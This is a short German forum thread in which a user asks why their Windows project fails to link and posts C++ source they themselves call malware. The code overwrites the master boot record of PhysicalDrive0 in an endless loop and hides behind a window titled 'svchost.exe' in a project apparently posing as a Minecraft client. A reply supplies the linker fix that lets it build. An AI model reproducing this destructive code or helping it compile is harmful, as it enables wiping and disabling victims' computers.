Nicht aufgelöstes externes Symbol "_main". InjectorMC C:\Users\red\source\repos\InjectorMC\InjectorMC\MSVCRT.lib(exe_main.obj) 1
-
Jo, wenn ich in Releasemode eine Anwendung erstelle, kommt der Fehler.
Bitte den Code nicht ausführen, da dieser Malware enthält. Entweder nur analysieren, oder auf einer Virtual Mashine ausführen.
#include <windows.h> #include <cassert> #include <iostream> #define MBR_SIZE 512; const unsigned char MasterBootRecord[512] = {}; void mbrfuck() { while (true) { DWORD dwBytesWritten; HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0); CloseHandle(hDevice); } } LRESULT CALLBACK MessageHandler(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_CLOSE: case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(hWnd, uMsg, wParam, lParam); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { mbrfuck(); HWND hWnd; WNDCLASS wc; MSG msg; wc = {}; wc.style = CS_HREDRAW | CS_VREDRAW; wc.lpfnWndProc = MessageHandler; wc.hInstance = hInstance; wc.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH); wc.lpszClassName = TEXT("GodClient v1"); assert(RegisterClass(&wc)); hWnd = CreateWindow(TEXT("GodClient v1"), TEXT("svchost.exe"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, 0, 0, hInstance, 0); ShowWindow(hWnd, nCmdShow); UpdateWindow(hWnd); while (true) { BOOL result = GetMessage(&msg, 0, 0, 0); if (result > 0) { TranslateMessage(&msg); DispatchMessage(&msg); } else { return result; } } }
-
Linker auf /subsystem:windows umstellen.
-
@Swordfish danke.